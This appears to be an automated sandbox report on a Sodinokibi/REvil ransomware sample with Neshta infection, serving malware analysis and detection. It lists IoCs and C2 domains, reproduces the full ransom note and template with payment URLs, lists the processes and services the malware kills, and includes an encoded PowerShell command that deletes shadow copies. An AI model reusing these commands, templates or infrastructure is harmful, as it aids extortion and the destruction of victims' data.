Overview

overview

10

Static

static

10

ba9592242e...e3.exe

windows7_x64

10

ba9592242e...e3.exe

windows10_x64

10

Analysis

  • max time kernel
    135s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:12

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Report Analysis Logs

General

  • Target

    ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe

  • Size

    204KB

  • MD5

    91443fabe2b4bb7764ec65b07abb5de6

  • SHA1

    7fecfae5088225aadd5a7c8bbdbb229410d20a6c

  • SHA256

    ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3

  • SHA512

    630775064e3865ddf50835f818dbfc45b900042674f4fdbe37fff7ac2fe46e92d59fef20cfeffa3916b919fe19a89b2317ed575636ef973bdb662dc7daa149d1

Score
10/10
neshtasodinokibi1936persistenceransomwarespywarestealer

Malware Config

Extracted

Path

C:\c2ob0r4j2d-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion c2ob0r4j2d. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/050D90DFE5A0A4CD 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/050D90DFE5A0A4CD Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: ZAIVdRpH0VYSHw2ZDwl86GPMScDwvUwGthZeUugBvwg/U+vBfrSOToHsuaMEVLo+ 9CxrabEEKAJuPUZH3RlDeVNWtJklnlwzZct7DTetTRpoNneqsvkfRtJecpdNPG4B UEirOcKK8mYUy2ImAfE9U2vQKkFtgAuzPR9+oOp7i8Uw+TV5AfWr1DTJeUb+G6bf GUzR5/y/bD41QbiZhesN3Qvh9oao7S7Jh7FnvI54yI06B2dH3xzpokoWX1cQJHxa yfMu0ACC33rb3ZghwFL9lNy3uwquEdsNSW+j1/7mrj3DStKMvVgUJSI9Gok3r0eN PN+FnJUmrBlz570SkdJygqOEDkdp39x2XIsIqJnNQrZRRq32G/LxF4Ko51Kebwws JV6Uat1CBqpH8ttJvbOYAQETq646E4OIoi4GEhQsOLp1Erq0g14JDohrhFe7M6VM ax4VypmVvLTV3yNLQvk1KsgE7D3FZiOcFQfqCPolJlZZKpb0U+jnewb93euc+f5I 8jaMCXq3ul9tLWYvsjczwelsPJi1o7qqbiPQt8IDUWTLXYxMfHyskbZ//U31XGrI atiGwPwk8I6spN+sq6NCWhWKeb67kGuHcNXVWFMT7OZJWH3U9hzL0ZTctT6RWs5T lYSdgN4ZSzjPanBKeewfnBCVvqIwWzFFmfPQUXr7U+5M4XjEcAAFgplTVeC7hUa3 eCQKvLvx0zDZm+xBnEORVY+J/k10IfEDxFZ14Sxb3mFF+z0uZd+hnmYur+qPXDIi OwNTaROlNC+E+itDb5NxmTfarXMcuVj30eRlSlrfDKJowwW1WykVU0ji+Rs/uBHS 8dpXpeuOU0rO+h+ChAJw2CPpS4RrJXFMJnkFn7AeSEr1LflPHr1k7zMbIEfOgGpR 3bbpH2BpMbT/2PmxZKfYDQRMa5I3h9spEuLG6XBI2jdKwzYMePaPEY0zi8Y0cdTP Rrs0662kFUNTcbwbo8s2LrmggD1cTUWWtxUCxOjHpDFjeluDYSoLVDLFuteYoLFf dZiGbyP+PEENFIo4tI0W8Hij/HjwXPVCjQj6Fl5pv1/5LTTY3tV9XOLVXnk92Ysl UasVEl+xGZ0MeegHmjPQdUclgbGTewzBK7O3b8AV0JiKobRGKrlxq22hegoHIqyS uvvXi4TqvGE= Extension name: c2ob0r4j2d ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/050D90DFE5A0A4CD

http://decryptor.top/050D90DFE5A0A4CD

Extracted

Family

sodinokibi

Botnet

19

Campaign

36

C2

bcabattoirs.org

baita.ac

prometeyagro.com.ua

nepal-pictures.com

juergenblaetz.de

3daywebs.com

penumbuhrambutkeiskei.com

primemarineengineering.com

slideevents.be

holocine.de

circlecitydj.com

basindentistry.com

kemtron.fr

deziplan.ru

diverfiestas.com.es

craftron.com

mariannelemenestrel.com

ufovidmag.com

eafx.pro

humanviruses.org
Attributes
  • net

    true

  • pid

    19

  • prc

    steam

    agntsvc

    synctime

    oracle

    isqlplussvc

    dbsnmp

    outlook

    infopath

    excel

    xfssvccon

    ocautoupds

    firefoxconfig

    onenote

    mydesktopqos

    mysqld_nt

    wordpad

    ocssd

    ocomm

    sqlwriter

    thebat

    winword

    tbirdconfig

    thebat64

    mysqld_opt

    sqlservr

    mysqld

    sqbcoreservice

    mydesktopservice

    sqlagent

    visio

    thunderbird

    msftesql

    sqlbrowser

    powerpnt

    mspub

    msaccess

    encsvc

    dbeng50

  • ransom_oneliner

    All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    36

  • svc

    backup

    memtas

    sophos

    veeam

    mepocs

    vss

    sql

    svc$

Signatures

  • Modifies system executable filetype association 2 TTPs 1 IoCs
    persistence
  • Neshta

    Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

    persistencespywareneshta
  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Sodinokibi/Revil sample 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies extensions of user files 12 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe
    "C:\Users\Admin\AppData\Local\Temp\ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe"
    1⤵
    • Modifies system executable filetype association
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\Users\Admin\AppData\Local\Temp\3582-490\ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe
      "C:\Users\Admin\AppData\Local\Temp\3582-490\ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe"
      2⤵
      • Executes dropped EXE
      • Modifies extensions of user files
      • Enumerates connected drives
      • Drops file in System32 directory
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:336
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1168
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1484
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1824

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Change Default File Association

    1
    T1042

    Privilege Escalation

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Credential Access

    Credentials in Files

    1
    T1081

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    2
    T1082

    Lateral Movement

    Collection

    Data from Local System

    1
    T1005

    Exfiltration

    Command and Control

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\3582-490\ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe
      MD5

      576e872bba0796398f654d327225dc4b

      SHA1

      7a50311e51b5a04e23f66a2e30891fb10c46eb66

      SHA256

      1fb842e87f23e37ab39e201a024845c323c3d239331768db694dca96ed53d8c7

      SHA512

      6bc556d8eb36e1e23b5b4f180897513a1578e466019bb3dc43007f37b194705ed9176edc8b1ceb14222bf3bc169c1b172c9dbfd2e1968b94a4c77a8bd14bea89

      Download Submit
    • \PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE
      MD5

      9e2b9928c89a9d0da1d3e8f4bd96afa7

      SHA1

      ec66cda99f44b62470c6930e5afda061579cde35

      SHA256

      8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043

      SHA512

      2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

      Download Submit
    • \Users\Admin\AppData\Local\Temp\3582-490\ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe
      MD5

      576e872bba0796398f654d327225dc4b

      SHA1

      7a50311e51b5a04e23f66a2e30891fb10c46eb66

      SHA256

      1fb842e87f23e37ab39e201a024845c323c3d239331768db694dca96ed53d8c7

      SHA512

      6bc556d8eb36e1e23b5b4f180897513a1578e466019bb3dc43007f37b194705ed9176edc8b1ceb14222bf3bc169c1b172c9dbfd2e1968b94a4c77a8bd14bea89

      Download Submit
    • \Users\Admin\AppData\Local\Temp\3582-490\ba9592242e0e033b3c75bf06406b9ad8510123e950a139ac363de1812631cfe3.exe
      MD5

      576e872bba0796398f654d327225dc4b

      SHA1

      7a50311e51b5a04e23f66a2e30891fb10c46eb66

      SHA256

      1fb842e87f23e37ab39e201a024845c323c3d239331768db694dca96ed53d8c7

      SHA512

      6bc556d8eb36e1e23b5b4f180897513a1578e466019bb3dc43007f37b194705ed9176edc8b1ceb14222bf3bc169c1b172c9dbfd2e1968b94a4c77a8bd14bea89

      Download Submit
    • memory/1168-60-0x000007FEFC371000-0x000007FEFC373000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1168-62-0x0000000001EC0000-0x0000000001EC2000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1168-63-0x0000000001EC2000-0x0000000001EC4000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1168-64-0x0000000001EC4000-0x0000000001EC7000-memory.dmp
      Filesize

      12KB

      Download
    • memory/1168-61-0x000007FEF3780000-0x000007FEF42DD000-memory.dmp
      Filesize

      11.4MB

      Download
    • memory/1168-65-0x000000001B770000-0x000000001BA6F000-memory.dmp
      Filesize

      3.0MB

      Download
    • memory/1168-66-0x0000000001ECB000-0x0000000001EEA000-memory.dmp
      Filesize

      124KB

      Download
    • memory/1316-55-0x0000000076851000-0x0000000076853000-memory.dmp
      Filesize

      8KB

      Download